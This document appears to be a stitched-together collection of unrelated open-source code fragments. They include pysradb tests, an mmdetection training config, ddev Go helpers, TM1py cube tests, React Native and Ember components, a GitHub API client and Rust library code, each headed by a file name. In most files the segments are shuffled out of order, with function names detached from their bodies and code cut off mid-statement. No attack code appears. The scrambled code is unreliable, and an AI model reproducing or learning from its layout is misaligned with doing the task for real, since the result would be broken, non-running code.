0.25rem; font-family: monospace; /* tr { opacity: 0.05; &:nth-child(1) { opacity: 1; } &:nth-child(2) { opacity: 0.95; } &:nth-child(3) { opacity: 0.9; } &:nth-child(4) { opacity: 0.85; } &:nth-child(5) { opacity: 0.8; } &:nth-child(6) { opacity: 0.75; } &:nth-child(7) { opacity: 0.70; } &:nth-child(8) { opacity: 0.65; } &:nth-child(9) { opacity: 0.6; } &:nth-child(10) { opacity: 0.55; } &:nth-child(11) { opacity: 0.6; } &:nth-child(12) { opacity: 0.55; } &:nth-child(13) { opacity: 0.5; } &:nth-child(14) { opacity: 0.45; } &:nth-child(15) { opacity: 0.4; } &:nth-child(16) { opacity: 0.35; } &:nth-child(17) { opacity: 0.3; } &:nth-child(18) { opacity: 0.25; } &:nth-child(19) { opacity: 0.2; } &:nth-child(20) { opacity: 0.15; } &:nth-child(21) { opacity: 0.1; } } */ td { padding: 0.25rem 0.5rem; text-align: center; .author, .contents { display: inline-block; vertical-align: middle; } .author { margin-right: 0.25rem; } .contents { .hash, .parent { margin: 0 auto; max-width: 6rem; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } .parent { font-size: 0.75rem; line-height: 0.75rem; max-width: 4.5rem; } } &.blockNumber { font-size: 1.25rem; } &.header { background: #f5f5f5; border: 1px solid #eee; border-radius: 0.25rem; &.isEmpty { background: transparent; border-color: transparent; } &.isFinalized { background: rgba(0, 255, 0, 0.1); border-color: rgba(0, 255, 0, 0.17); } &.isLink { background: transparent; border-color: transparent; line-height: 1rem; padding: 0; } &.isMissing { background: rgba(255, 0, 0, 0.05); border-color: rgba(255, 0, 0, 0.06); } } } } ` );
calcWidth
_test_pcli.py
"""Tests for cli.py """ import os import subprocess import sys from shlex import quote from shlex import split import pytest from pysradb import SRAdb def run(command): if sys.version_info.minor >= 7: result = subprocess.run(split(command), capture_output=True) else: result = subprocess.run(split(command), check=True, stdout=subprocess.PIPE) return str(result.stdout).strip() @pytest.fixture(scope="module") def sradb_connection(conf_download_sradb_file): db_file = conf_download_sradb_file db = SRAdb(db_file) return db def test_all_row_counts_sra(sradb_connection): assert sradb_connection.all_row_counts().loc["metaInfo", "count"] == 2 @pytest.mark.xfail def test_download(): result = run( "pysradb download -y --db data/SRAmetadb.sqlite --out-dir srp_downloads -p SRP063852" ) assert "SRP063852" in result assert os.path.getsize("srp_downloads/SRP063852/SRX1254413/SRR2433794.sra") def
(): result = run("pysradb metadata SRP098789 --db data/SRAmetadb.sqlite") assert "SRX2536403" in result def test_sra_metadata(): result = run( "pysradb metadata SRP098789 --db data/SRAmetadb.sqlite --detailed --expand" ) assert "treatment_time" in result def test_srp_to_srx(): result = run("pysradb srp-to-srx SRP098789 --db data/SRAmetadb.sqlite") assert "SRX2536403" in result def test_srp_assay(): result = run("pysradb metadata SRP098789 --db data/SRAmetadb.sqlite --assay") assert "RNA-Seq" in result def srr_to_srx(): result = run( "pysradb srr-to-srx --db data/SRAmetadb.sqlite SRR5227288 SRR649752 --desc" ) assert "3T3 cells" in result def srx_to_srr(): result = run( "pysradb srr-to-srx --db data/SRAmetadb.sqlite SRX217956 SRX2536403 --desc" ) assert "3T3 cells" in result def test_sra_metadata_detail(): result = run( "pysradb metadata --db data/SRAmetadb.sqlite SRP075720 --detailed --expand" ) assert "retina" in result def test_srp_to_gse(): result = run("pysradb srp-to-gse --db data/SRAmetadb.sqlite SRP075720") assert "GSE81903" in result def test_gsm_to_srp(): result = run("pysradb gsm-to-srp --db data/SRAmetadb.sqlite GSM2177186") assert "SRP075720" in result def test_gsm_to_gse(): result = run("pysradb gsm-to-gse --db data/SRAmetadb.sqlite GSM2177186") assert "GSE81903" in result def test_gsm_to_srr(): result = run( "pysradb gsm-to-srr --db data/SRAmetadb.sqlite GSM2177186 --detailed --desc --expand" ) assert "GSM2177186_r1" in result """ def test_assay_uniq(): result = subprocess.check_output( "pysradb metadata SRP000941 --db data/SRAmetadb.sqlite --assay | " + " tr -s {}".format(quote(" ")) + " | cut -f5 -d {}".format(quote(" ")) + " | sort | uniq -c", shell=True, ) assert "Bisulfite-Seq" in str(result) def test_pipe_download(): result = subprocess.check_output( "pysradb metadata SRP000941 --assay | " + " grep {}".format(quote("study\|RNA-Seq")) + " | head -2 | pysradb download --out-dir srp_downloads", shell=True, ) assert os.path.getsize("srp_downloads/SRP000941/SRX007165/SRR020287.sra") assert "following" in str(result) """
test_sra_metadata
fcos_r50_caffe_fpn_gn_1x_4gpu.py
# model settings model = dict( type='FCOS', pretrained='open-mmlab://resnet50_caffe', backbone=dict( type='ResNet', depth=50, num_stages=4, out_indices=(0, 1, 2, 3), frozen_stages=1, norm_cfg=dict(type='BN', requires_grad=False), style='caffe'), neck=dict( type='FPN', in_channels=[256, 512, 1024, 2048], out_channels=256, start_level=1, add_extra_convs=True, extra_convs_on_inputs=False, # use P5 num_outs=5, relu_before_extra_convs=True), bbox_head=dict( type='FCOSHead', num_classes=81, in_channels=256, stacked_convs=4, feat_channels=256, strides=[8, 16, 32, 64, 128], loss_cls=dict( type='FocalLoss', use_sigmoid=True, gamma=2.0, alpha=0.25, loss_weight=1.0), loss_bbox=dict(type='IoULoss', loss_weight=1.0), loss_centerness=dict( type='CrossEntropyLoss', use_sigmoid=True, loss_weight=1.0))) # training and testing settings train_cfg = dict( assigner=dict( type='MaxIoUAssigner', pos_iou_thr=0.5, neg_iou_thr=0.4, min_pos_iou=0, ignore_iof_thr=-1), allowed_border=-1, pos_weight=-1, debug=False) test_cfg = dict( nms_pre=1000, min_bbox_size=0, score_thr=0.05, nms=dict(type='nms', iou_thr=0.5), max_per_img=100) # dataset settings dataset_type = 'CocoDataset' data_root = '/mnt/cephfs_wj/cv/common/coco/COCO2017/' img_norm_cfg = dict( mean=[102.9801, 115.9465, 122.7717], std=[1.0, 1.0, 1.0], to_rgb=False) data = dict( imgs_per_gpu=1, workers_per_gpu=4, train=dict( type=dataset_type, ann_file=data_root + 'annotations/instances_train2017_2parts.json', img_prefix=data_root, img_scale=(1333, 800), img_norm_cfg=img_norm_cfg, size_divisor=32, flip_ratio=0.5, with_mask=False, with_crowd=False, with_label=True), val=dict( type=dataset_type, ann_file=data_root + 'annotations/instances_val2017.json', img_prefix=data_root + 'val2017/', img_scale=(1333, 800), img_norm_cfg=img_norm_cfg, size_divisor=32, flip_ratio=0, with_mask=False, with_crowd=False,
type=dataset_type, ann_file=data_root + 'annotations/instances_val2017.json', img_prefix=data_root + 'val2017/', img_scale=(1333, 800), img_norm_cfg=img_norm_cfg, size_divisor=32, flip_ratio=0, with_mask=False, with_crowd=False, with_label=False, test_mode=True)) # optimizer optimizer = dict( type='SGD', lr=0.01, momentum=0.9, weight_decay=0.0001, paramwise_options=dict(bias_lr_mult=2., bias_decay_mult=0.)) optimizer_config = dict(grad_clip=None) # learning policy lr_config = dict( policy='step', warmup='constant', warmup_iters=500, warmup_ratio=1.0 / 3, step=[8, 11]) checkpoint_config = dict(interval=1) # yapf:disable log_config = dict( interval=50, hooks=[ dict(type='TextLoggerHook'), # dict(type='TensorboardLoggerHook') ]) # yapf:enable # runtime settings total_epochs = 12 device_ids = range(4) dist_params = dict(backend='nccl') log_level = 'INFO' work_dir = '/mnt/cephfs_wj/cv/wangxu.ailab/ideas_experiments/mmdetection/work_dirs/fcos_r50_caffe_fpn_gn_1x_4gpu' load_from = None resume_from = None workflow = [('train', 1)]
with_label=True), test=dict(
utils.go
package util import ( "github.com/drud/ddev/pkg/nodeps" "math/rand" osexec "os/exec" "os/user" "strconv" "strings" "time" "github.com/drud/ddev/pkg/output" "github.com/fatih/color" ) func init() { rand.Seed(time.Now().UnixNano()) } // Failed will print a red error message and exit with failure. func Failed(format string, a ...interface{}) { if a != nil { output.UserOut.Fatalf(format, a...) } else { output.UserOut.Fatal(format) } } // Error will print an red error message but will not exit. func Error(format string, a ...interface{}) { if a != nil { output.UserOut.Errorf(format, a...) } else { output.UserOut.Error(format) } } // Warning will present the user with warning text. func Warning(format string, a ...interface{}) { if a != nil { output.UserOut.Warnf(format, a...) } else { output.UserOut.Warn(format) } } // Success will indicate an operation succeeded with colored confirmation text. func Success(format string, a ...interface{}) { format = color.CyanString(format) if a != nil
else { output.UserOut.Info(format) } } // FormatPlural is a simple wrapper which returns different strings based on the count value. func FormatPlural(count int, single string, plural string) string { if count == 1 { return single } return plural } var letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" // SetLetterBytes exists solely so that tests can override the default characters used by // RandString. It should probably be avoided for 'normal' operations. // this is actually used in utils_test.go (test only) so we set nolint on it. // nolint: deadcode func SetLetterBytes(lb string) { letterBytes = lb } // RandString returns a random string of given length n. func RandString(n int) string { b := make([]byte, n) for i := range b { b[i] = letterBytes[rand.Intn(len(letterBytes))] } return string(b) } // AskForConfirmation requests a y/n from user. func AskForConfirmation() bool { response := GetInput("") okayResponses := []string{"y", "yes"} nokayResponses := []string{"n", "no", ""} responseLower := strings.ToLower(response) if nodeps.ArrayContainsString(okayResponses, responseLower) { return true } else if nodeps.ArrayContainsString(nokayResponses, responseLower) { return false } else { output.UserOut.Println("Please type yes or no and then press enter:") return AskForConfirmation() } } // MapKeysToArray takes the keys of the map and turns them into a string array func MapKeysToArray(mapWithKeys map[string]interface{}) []string { result := make([]string, 0, len(mapWithKeys)) for v := range mapWithKeys { result = append(result, v) } return result } // GetContainerUIDGid() returns the uid and gid (and string forms) to be used running most containers. func GetContainerUIDGid() (uid int, gid int, uidStr string, gidStr string) { var uidInt, gidInt int curUser, err := user.Current() CheckErr(err) uidStr = curUser.Uid gidStr = curUser.Gid // For windows the uidStr/gidStr are usually way outside linux range (ends at 60000) // so we have to run as arbitrary user 1000. We may have a host uidStr/gidStr greater in other contexts, // 1000 seems not to cause file permissions issues at least on docker-for-windows. // TODO: For large macOS UIDs we might be better to add the UID to /etc/passwd at startup if uidInt, err = strconv.Atoi(curUser.Uid); err != nil || uidInt > 60000 { uidStr = "1000" uidInt = 1000 } if gidInt, err = strconv.Atoi(curUser.Gid); err != nil || gidInt > 60000 { gidStr = "1000" gidInt = 1000 } return uidInt, gidInt, uidStr, gidStr } // IsCommandAvailable uses shell's "command" to find out if a command is available // https://siongui.github.io/2018/03/16/go-check-if-command-exists/ // This lives here instead of in fileutil to avoid unecessary import cycles. func IsCommandAvailable(cmdName string) bool { _, err := osexec.LookPath(cmdName) if err == nil { return true } return false } // GetFirstWord just returns the first space-separated word in a string. func GetFirstWord(s string) string { arr := strings.Split(s, " ") return arr[0] }
{ output.UserOut.Infof(format, a...) }
init.rs
//! The `init` subcommand. use crate::args::Shell; /// The `init` subcommand. /// /// Prints a shell script for initializing `kn`. The script /// can be configured. The `init` subcommand takes an arg `--shell`, /// specifying the used shell, and a flag `--exclude-old-pwd` which /// enables excluding the previous location from the search (only if there /// are other matching dirs). pub fn init(shell: Shell, exclude_old_pwd: bool) -> String { match shell { Shell::Fish => { let query_command = if exclude_old_pwd { "_kn query --exclude \"$dirprev[-1]\" --abbr \"$argv\"" } else { "_kn query --abbr \"$argv\"" }; format!( include_str!("../init/kn.fish"), query_command = query_command ) } Shell::Zsh => { let query_command = if exclude_old_pwd { "_kn query --exclude \"${OLDPWD}\" --abbr \"$@\"" } else { "_kn query --abbr \"$@\"" }; format!( include_str!("../init/kn.zsh"), query_command = query_command ) } Shell::Bash =>
} }
{ let query_command = if exclude_old_pwd { "_kn query --exclude \"${OLDPWD}\" --abbr \"$@\"" } else { "_kn query --abbr \"$@\"" }; format!( include_str!("../init/kn.bash"), query_command = query_command ) }
Cube.py
import configparser from pathlib import Path import unittest import uuid from TM1py import Element, Hierarchy, Dimension from TM1py.Objects import Cube from TM1py.Objects import Rules from TM1py.Services import TM1Service config = configparser.ConfigParser() config.read(Path(__file__).parent.joinpath('config.ini')) PREFIX = "TM1py_Tests_Cube_" class TestCubeMethods(unittest.TestCase): tm1 = None cube_name = PREFIX + "some_name" dimension_names = [ PREFIX + "dimension1", PREFIX + "dimension2", PREFIX + "dimension3"] @classmethod def setUpClass(cls): cls.tm1 = TM1Service(**config['tm1srv01']) # Build Dimensions for dimension_name in cls.dimension_names: elements = [Element('Element {}'.format(str(j)), 'Numeric') for j in range(1, 1001)] hierarchy = Hierarchy(dimension_name=dimension_name, name=dimension_name, elements=elements) dimension = Dimension(dimension_name, [hierarchy]) if not cls.tm1.dimensions.exists(dimension.name): cls.tm1.dimensions.create(dimension) # Build Cube cube = Cube(cls.cube_name, cls.dimension_names) if not cls.tm1.cubes.exists(cls.cube_name): cls.tm1.cubes.create(cube) c = Cube(cls.cube_name, dimensions=cls.dimension_names, rules=Rules('')) if cls.tm1.cubes.exists(c.name): cls.tm1.cubes.delete(c.name) cls.tm1.cubes.create(c) def test_get_cube(self): c = self.tm1.cubes.get(self.cube_name) self.assertIsInstance(c, Cube) self.assertEqual(c.dimensions, self.dimension_names) cubes = self.tm1.cubes.get_all() control_cubes = self.tm1.cubes.get_control_cubes() model_cubes = self.tm1.cubes.get_model_cubes() self.assertEqual(len(cubes), len(control_cubes + model_cubes)) def test_update_cube(self): c = self.tm1.cubes.get(self.cube_name) c.rules = Rules("SKIPCHECK;\nFEEDERS;") self.tm1.cubes.update(c) # test if rule was actually updated c = self.tm1.cubes.get(self.cube_name) self.assertEqual(c.rules.text, "SKIPCHECK;\nFEEDERS;") self.assertTrue(c.skipcheck) def test_get_control_cubes(self): control_cubes = self.tm1.cubes.get_control_cubes() self.assertGreater(len(control_cubes), 0) for cube in control_cubes: self.assertTrue(cube.name.startswith("}")) def test_get_model_cubes(self): model_cubes = self.tm1.cubes.get_model_cubes() self.assertGreater(len(model_cubes), 0) for cube in model_cubes: self.assertFalse(cube.name.startswith("}")) def test_get_dimension_names(self): dimension_names = self.tm1.cubes.get_dimension_names(self.cube_name) self.assertEqual(dimension_names, self.dimension_names) def test_get_random_intersection(self): intersection1 = self.tm1.cubes.get_random_intersection(cube_name=self.cube_name, unique_names=False) intersection2 = self.tm1.cubes.get_random_intersection(cube_name=self.cube_name, unique_names=False) self.assertNotEqual(intersection1, intersection2) intersection1 = self.tm1.cubes.get_random_intersection(cube_name=self.cube_name, unique_names=True) intersection2 = self.tm1.cubes.get_random_intersection(cube_name=self.cube_name, unique_names=True) self.assertNotEqual(intersection1, intersection2) def test_exists(self): self.assertTrue(self.tm1.cubes.exists(self.cube_name)) self.assertFalse(self.tm1.cubes.exists(uuid.uuid4())) def test_create_delete_cube(self): cube_name = PREFIX + "Some_Other_Name" # element with index 0 is Sandboxes dimension_names = self.tm1.dimensions.get_all_names()[1:3] cube = Cube(cube_name, dimension_names) all_cubes_before = self.tm1.cubes.get_all_names() self.tm1.cubes.create(cube) all_cubes_after = self.tm1.cubes.get_all_names() self.assertEqual( len(all_cubes_before) + 1, len(all_cubes_after)) self.assertEqual( self.tm1.cubes.get_dimension_names(cube_name), dimension_names) all_cubes_before = self.tm1.cubes.get_all_names() self.tm1.cubes.delete(cube_name) all_cubes_after = self.tm1.cubes.get_all_names() self.assertEqual(len(all_cubes_before) - 1, len(all_cubes_after)) def
(self): dimensions = self.tm1.cubes.get_storage_dimension_order(cube_name=self.cube_name) self.assertEqual(dimensions, self.dimension_names) def test_update_storage_dimension_order(self): self.tm1.cubes.update_storage_dimension_order( cube_name=self.cube_name, dimension_names=reversed(self.dimension_names)) dimensions = self.tm1.cubes.get_storage_dimension_order(self.cube_name) self.assertEqual( list(reversed(dimensions)), self.dimension_names) def test_load(self): response = self.tm1.cubes.load(cube_name=self.cube_name) self.assertTrue(response.ok) def test_unload(self): response = self.tm1.cubes.unload(cube_name=self.cube_name) self.assertTrue(response.ok) @classmethod def tearDownClass(cls): cls.tm1.cubes.delete(cls.cube_name) for dimension in cls.dimension_names: cls.tm1.dimensions.delete(dimension) cls.tm1.logout() if __name__ == '__main__': unittest.main()
test_get_storage_dimension_order
dataframe.py
""" Dataframe functions """ import logging import os from tempfile import mkstemp import pandas as pd from box import Box # pylint: disable=too-many-arguments logger = logging.getLogger(__name__) # pylint: disable=C0103 def pd_export( dataframe: pd.DataFrame, export_type: str, df_name: str, temp_name: bool = False, df_name_prefix: str = "",
header=True, ) -> str: """ Exports dataframe to file formats using various options Return a filepaths for the exported Dataframe """ if temp_name and dir_name != "": filepath = mkstemp(suffix=df_name_suffix, prefix=df_name_prefix, dir=dir_name)[ 1 ] elif config_box and dir_name == "": filepath = os.path.join( config_box.extracttempdir, f"{df_name_prefix}{df_name}{df_name_suffix}.{export_type}", ) else: filename = f"{df_name_prefix}{df_name}{df_name_suffix}.{export_type}" filepath = os.path.join(dir_name, filename) logger.info("Creating %s file %s from dataframe.", export_type, filepath) if export_type == "parquet": dataframe.to_parquet(path=filepath, index=index) elif export_type == "csv": dataframe.to_csv(filepath, index=index, header=header) return filepath def pd_colupdate(dataframe: pd.DataFrame, coldict: dict) -> pd.DataFrame: """ Rename and filter Pandas Dataframe columns using python dictionary. Column names provided in coldict follow the same format as expected by pd.DataFrame.rename(columns=dict). For example: {"current":"new", "current2":"new2"} Columns in returned dataframe are filtered by those provided to be renamed. Returns a modified pd.Dataframe copy """ logger.info("Renaming and filtering dataframe columns using coldict key:values.") # Remap column names dataframe = dataframe.rename(columns=coldict) # Filter columns based on the new names dataframe = dataframe[[val for key, val in coldict.items()]].copy() return dataframe
df_name_suffix: str = "", dir_name: str = ".", config_box: Box = None, index=True,
chungReynolds.py
# encoding=utf8 # pylint: disable=anomalous-backslash-in-string, old-style-class import math __all__ = ['ChungReynolds'] class ChungReynolds: r"""Implementation of Chung Reynolds functions. Date: 2018 Authors: Lucija Brezočnik License: MIT Function: **Chung Reynolds function** :math:`f(\mathbf{x}) = \left(\sum_{i=1}^D x_i^2\right)^2` **Input domain:** The function can be defined on any input domain but it is usually evaluated on the hypercube :math:`x_i ∈ [-100, 100]`, for all :math:`i = 1, 2,..., D` **Global minimum:** :math:`f(x^*) = 0`, at :math:`x^* = (0,...,0)` LaTeX formats: Inline: $f(\mathbf{x}) = \left(\sum_{i=1}^D x_i^2\right)^2$ Equation: \begin{equation} f(\mathbf{x}) = \left(\sum_{i=1}^D x_i^2\right)^2 \end{equation}
Reference paper: Jamil, M., and Yang, X. S. (2013). A literature survey of benchmark functions for global optimisation problems. International Journal of Mathematical Modelling and Numerical Optimisation, 4(2), 150-194. """ def __init__(self, Lower=-100.0, Upper=100.0): self.Lower = Lower self.Upper = Upper @classmethod def function(cls): def evaluate(D, sol): val = 0.0 for i in range(D): val += math.pow(sol[i], 2) return math.pow(val, 2) return evaluate
Domain: $-100 \leq x_i \leq 100$
webView.js
'use strict'; import React from 'react'; import { Text, View, TouchableOpacity, Animated, StyleSheet, Dimensions, TouchableWithoutFeedback, Image, WebView, Platform, Button, } from 'react-native'; const {height, width} = Dimensions.get('window'); var backImg = require('./rg_left.png'); class Webview extends React.Component { static navigationOptions = ({ navigation, screenProps }) => ({ title: 'GreatGreatGreatGreat', }); componentDidMount() { } componentWillMount() { } _onBackPress() { this.props.onBackPress(); } render() { return ( <View style={[styles.container, Platform.OS === 'android' ? {marginTop: 21} : {marginTop: 21}]} visible='hidden'> <View style={styles.toolbar}> <TouchableOpacity style={styles.leftIOSContainer} onPress={this._onBackPress.bind(this)} > <Image style={styles.leftIOS} source={backImg} /> </TouchableOpacity> <View style={styles.titleViewIOS}> <TouchableOpacity style={styles.titleViewIOSClick}> <Text style={styles.titleIOS} > 表情商城 </Text> </TouchableOpacity> </View> </View> </View> ) } } const styles = StyleSheet.create({ container: { top: 0, //left: 0, height: height, width: width, backgroundColor: '#f0f0f0', flex: 1, zIndex: 10000 }, toolbar: { backgroundColor: '#fff', alignItems: 'center', justifyContent: 'center', //height: 58, //shadowOffset: {width: 0, height: .2,}, //shadowOpacity: .3, borderBottomWidth: 1, borderColor: '#eee', shadowColor: '#555', flexDirection: 'row', flexWrap: 'wrap', zIndex: 10 }, titleIOS: { textAlign: 'center', color: '#696969', fontWeight: 'bold', fontSize: 20, }, leftIOSContainer: { width: 40, height: 35, justifyContent: 'center', }, leftIOS: { //height: 18, //width: 24, marginLeft: 10 }, titleViewIOS: {
alignItems: 'center', flexDirection: 'row', marginRight: 40 }, titleViewIOSClick: { flexDirection: 'row', justifyContent: 'center', alignItems: 'center', width: 120, height: 40 }, content: { alignItems: 'center', height: height, width: width }, tip: { fontSize: 20, marginTop:30, }, tip1: { fontSize: 12, position: 'absolute', textAlign: 'center', width: width, color: 'red', bottom: 100, } }); export default Webview;
flex: 2, justifyContent: 'center',
github.go
package main import ( "context" "net/http" "os" "sync" "github.com/Ken2mer/knmr/logger" "github.com/google/go-github/github" "github.com/tcnksm/go-gitconfig" "github.com/urfave/cli" "golang.org/x/oauth2" ) var ( username = "Ken2mer" reponame = "knmr" ) var githubCommand = cli.Command{ Name: "github", Usage: "github", Action: githubCmd, } func githubCmd(ctx *cli.Context) error { gh := newGithubClient() fns := []func(){ gh.user, gh.follows, gh.code, gh.events, gh.subscription, } var wg sync.WaitGroup for _, fn := range fns { wg.Add(1) go func(f func()) { f() wg.Done() }(fn) } wg.Wait() return ghServe() } type ghClient struct { ctx context.Context client *github.Client } func newGithubClient() ghClient { context := context.Background() return ghClient{ ctx: context, client: oauth2Client(context), } } func (c *ghClient) subscription() { subscription, err := getRepositorySubscription(c.ctx, c.client) if err != nil { return } logger.DumpJSON(subscription) } func (c *ghClient) events() { events, err := getEvents(c.ctx, c.client) if err != nil { return } dumpEvents(events) } func (c *ghClient) code() { code, err := getCodeSearchResult(c.ctx, c.client) if err != nil { return } dumpCodeSearchResult(code) } func (c *ghClient) follows() { follows, err := getFollowingUsers(c.ctx, c.client) if err != nil { return } dumpFollowUsers(follows) } func (c *ghClient) user() { user, err := getUser(c.ctx, c.client) if err != nil { return } dumpUser(user) } // cf. https://github.com/mackerelio/mkr/blob/af4f89ae6fac2290b9fe642de37f84a25de67d62/plugin/github.go // Get github client having github token. func oauth2Client(ctx context.Context) *github.Client { var oauthClient *http.Client if token := getGithubToken(); token != "" { ts := oauth2.StaticTokenSource( &oauth2.Token{AccessToken: getGithubToken()},
return github.NewClient(oauthClient) } // Get github token from environment variables, or github.token in gitconfig file func getGithubToken() string { token := os.Getenv("GITHUB_TOKEN") if token != "" { return token } token, _ = gitconfig.GithubToken() return token }
) oauthClient = oauth2.NewClient(ctx, ts) }
component.js
import Component from '@ember/component'; import { inject as service } from '@ember/service'; import layout from './template'; export default Component.extend({ globalStore: service(), layout, classNames: ['accordion-wrapper'], model: null, readOnly: false, init() { this._super(...arguments); this.set('model.supplementalGroups', this.get('model.supplementalGroups') || this.get('globalStore').createRecord({ type: 'supplementalGroupsStrategyOptions', rule: 'RunAsAny', })); }, actions: { add: function() { this.get('model.supplementalGroups.ranges').pushObject( this.get('globalStore').createRecord({ type: 'idRange', min: 0, max: 6, }) ); }, remove: function(obj) { this.get('model.supplementalGroups.ranges').removeObject(obj); }, }, ruleDidChange: function() { const rule = this.get('model.supplementalGroups.rule'); if (rule === 'MustRunAs') { this.set('model.supplementalGroups.ranges', []); this.send('add');
} }.observes('model.supplementalGroups.rule'), didReceiveAttrs() { if (!this.get('expandFn')) { this.set('expandFn', function (item) { item.toggleProperty('expanded'); }); } }, statusClass: null, status: null, });
} else { this.set('model.supplementalGroups.ranges', null);
ThresholdButton.js
import { useSelector } from '@xstate/react'; import React, { useCallback } from 'react'; import { useSegment } from '../../../ProjectContext'; import ToolButton from './ToolButton'; function ThresholdButton(props) { const segment = useSegment(); const tool = useSelector(segment, (state) => state.context.tool); const grayscale = useSelector(segment, (state) => state.matches('display.grayscale')); const onClick = useCallback( () => segment.send({ type: 'SET_TOOL', tool: 'threshold' }), [segment] ); const tooltipText = grayscale ? ( <span> Click and drag to fill in the brightest pixels in a box <kbd>T</kbd> </span> ) : ( 'Requires a single channel' ); return ( <ToolButton {...props} value='threshold' tooltipText={tooltipText} selected={tool === 'threshold'} onClick={onClick} hotkey='t' disabled={!grayscale} > Threshold </ToolButton> ); }
export default ThresholdButton;
user_udf.rs
// Copyright 2021 Datafuse Labs. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. use common_exception::ErrorCode; use common_exception::Result; use common_meta_types::UserDefinedFunction; use crate::users::UserApiProvider; /// UDF operations. impl UserApiProvider { // Add a new UDF. pub async fn add_udf( &self, tenant: &str, info: UserDefinedFunction, if_not_exists: bool, ) -> Result<u64> { let udf_api_client = self.get_udf_api_client(tenant)?; let add_udf = udf_api_client.add_udf(info); match add_udf.await { Ok(res) => Ok(res), Err(e) => { if if_not_exists && e.code() == ErrorCode::udf_already_exists_code() { Ok(u64::MIN) } else { Err(e) } } } } // Update a UDF. pub async fn update_udf(&self, tenant: &str, info: UserDefinedFunction) -> Result<u64> { let udf_api_client = self.get_udf_api_client(tenant)?; let update_udf = udf_api_client.update_udf(info, None); match update_udf.await { Ok(res) => Ok(res), Err(e) => Err(e.add_message_back("(while update UDF).")), } } // Get a UDF by name. pub async fn get_udf(&self, tenant: &str, udf_name: &str) -> Result<UserDefinedFunction> { let udf_api_client = self.get_udf_api_client(tenant)?; let get_udf = udf_api_client.get_udf(udf_name, None); Ok(get_udf.await?.data) } // Get all UDFs for the tenant. pub async fn get_udfs(&self, tenant: &str) -> Result<Vec<UserDefinedFunction>> { let udf_api_client = self.get_udf_api_client(tenant)?; let get_udfs = udf_api_client.get_udfs(); match get_udfs.await { Err(e) => Err(e.add_message_back("(while get UDFs).")), Ok(seq_udfs_info) => Ok(seq_udfs_info), } } // Drop a UDF by name. pub async fn
(&self, tenant: &str, udf_name: &str, if_exists: bool) -> Result<()> { let udf_api_client = self.get_udf_api_client(tenant)?; let drop_udf = udf_api_client.drop_udf(udf_name, None); match drop_udf.await { Ok(res) => Ok(res), Err(e) => { if if_exists { Ok(()) } else { Err(e.add_message_back("(while drop UDF)")) } } } } }
drop_udf
local_image.py
from PIL import Image from datetime import datetime import sys import base64 from io import BytesIO import platform import urllib.parse IMG_FOLDER = '' if platform.system() == 'Linux': IMG_FOLDER = 'images/' elif platform.system() == 'Windows': IMG_FOLDER = '.\\images\\' def get_base64_image(filename: str = '.\\images\\face_dither.png') -> str:
if __name__ == '__main__': if len(sys.argv) == 2: # print(f'The param = {sys.argv[1]}') get_base64_image(sys.argv[1]) else: get_base64_image()
try: encoded_image = b'' image_format = '' with Image.open(filename) as image: image_format = image.format # print(f'Format is: {image_format}') # print(f'Mode is: {image.mode}') buffer = BytesIO() image.save(buffer, image.format) image_bytes = buffer.getvalue() encoded_image = base64.b64encode(image_bytes) # ****** Below is simply for testing if the image ****** # data stored in the file is correct or not. # ------------------------------------------------------ # image_buffer = BytesIO(base64.b64decode(encoded_image)) # with Image.open(image_buffer) as fil_image: # new_filename = 'Robert' + datetime.now().strftime('_%Y%m%d_%H%M%S') \ # + '.' + image_format.lower() # fil_image.save(IMG_FOLDER + new_filename, image_format) # ------------------------------------------------------ print(f'The Base64 image = {urllib.parse.quote(encoded_image.decode())}') return encoded_image.decode() except Exception as ex: print(f'No image found: {ex}')
guts.rs
// Copyright 2019 The CryptoCorrosion Contributors // Copyright 2020 Developers of the Rand project. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // https://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or https://opensource.org/licenses/MIT>, at your // option. This file may not be copied, modified, or distributed // except according to those terms. //! The ChaCha random number generator. use ppv_lite86::{dispatch, dispatch_light128}; pub use ppv_lite86::Machine; use ppv_lite86::{vec128_storage, ArithOps, BitOps32, LaneWords4, MultiLane, StoreBytes, Vec4, Vec4Ext, Vector}; pub(crate) const BLOCK: usize = 16; pub(crate) const BLOCK64: u64 = BLOCK as u64; const LOG2_BUFBLOCKS: u64 = 2; const BUFBLOCKS: u64 = 1 << LOG2_BUFBLOCKS; pub(crate) const BUFSZ64: u64 = BLOCK64 * BUFBLOCKS; pub(crate) const BUFSZ: usize = BUFSZ64 as usize; const STREAM_PARAM_NONCE: u32 = 1; const STREAM_PARAM_BLOCK: u32 = 0; #[derive(Clone, PartialEq, Eq)] pub struct ChaCha { pub(crate) b: vec128_storage, pub(crate) c: vec128_storage, pub(crate) d: vec128_storage, } #[derive(Clone)] pub struct State<V> { pub(crate) a: V, pub(crate) b: V, pub(crate) c: V, pub(crate) d: V, } #[inline(always)]
